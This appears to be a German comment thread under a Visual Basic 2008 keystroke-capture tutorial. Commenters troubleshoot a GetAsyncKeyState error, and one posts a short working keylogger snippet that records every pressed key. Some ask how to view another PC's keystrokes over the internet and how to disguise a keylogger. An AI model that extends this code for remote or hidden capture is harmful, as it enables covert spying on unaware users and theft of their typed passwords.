Visual Basic 2008 - Tastendruckabfragen

http://www.patrick.felber.de.vu

Category:

Education

Tags:

• visual
• basic
• 2008
• vb
• 08
• key
• logger
• taste
• funktion
• private
• declare
• Ascii
• Code
• script
• keylogger
• tasten
• short
• keys

[Eibo94]

In der Zeile "Taste = GetAsynoKeyState(i)" kommt folgende Fehlermeldung:

"Der Einstiegspunkt "GetAsynoKeyState" wurde nicht in der DLL "user32" gefunden."

die Datei user32.dll exestiert.

Was soll ich hier machen?

Mfg.

[Galileo1589]

@Eibo94 Hast du Win7? Wenn ja, dann bitte das bementsprechende Video anschauen

[Galileo1589]

@Eibo94 Schreib mal statt "Asyno" "Async"! DAnn klappts vielleicht ;)

[457578064]

Wow this is easy to do

[xDlOlGG]

wenn der auf nem andren pc von mir ist kann ich das denn übers Internet auf dem Keylogger sehn was ich mit dem anderen pc schreibe

[muh1h1]

@Galileo1589 ich hab mal ne frage, hab alle deine videos angeguckt, und finde kein video, das das beschreibt...

habe auch win7 und bn grad am lernen,..

hab bisher noch alles hingekriegt, was ich mir in vb vorgenommen hab, aber am kl scheints jetzt zu scheitern... :(

kannst du mir einfach mal per pm das vid schicken, was du meinst?! DANKEEEEEE xD

achjs, deine vids sind extrem lehrreich!

[prostylszzz]

Gutes tut nur bei mir geht es nicht. Hab auch keine Fehlermeldungen oder so ... es passier gar nix ^^ ;D hab alles so gemacht wie du

[killadima]

hey ich hab alles so gemacht wie du, ABER bei mir geht der keylogger nicht. Wen ich tasten drücke kommt nix..

brauche hilfe :D

[killadima]

kannst du nich einfach den keylogger hochladen dan gibts auch mehr abos

[MYMKinq]

Mal ne Frage kenn mich gut mit vb aus aber wie verpacke ich ein keylogger

[MYMKinq]

Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer Dim AsciiCode As Integer Dim Taste As Integer Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i = 1 To 255 Taste = GetAsyncKeyState(i) If Taste = -32767 Then  Me.TextBox1.Text = Me.TextBox1.Text & Chr(i)

[MYMKinq]

End If Next

 End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub

End Class

[Shad0w7411]

also bei mir funzt das nicht da kommt dann: Der Einstiegspunkt "GetaSyncKeyState" wurde nicht in der DLL "user32" gefunden.

kann mir da jmd weiterhelfen?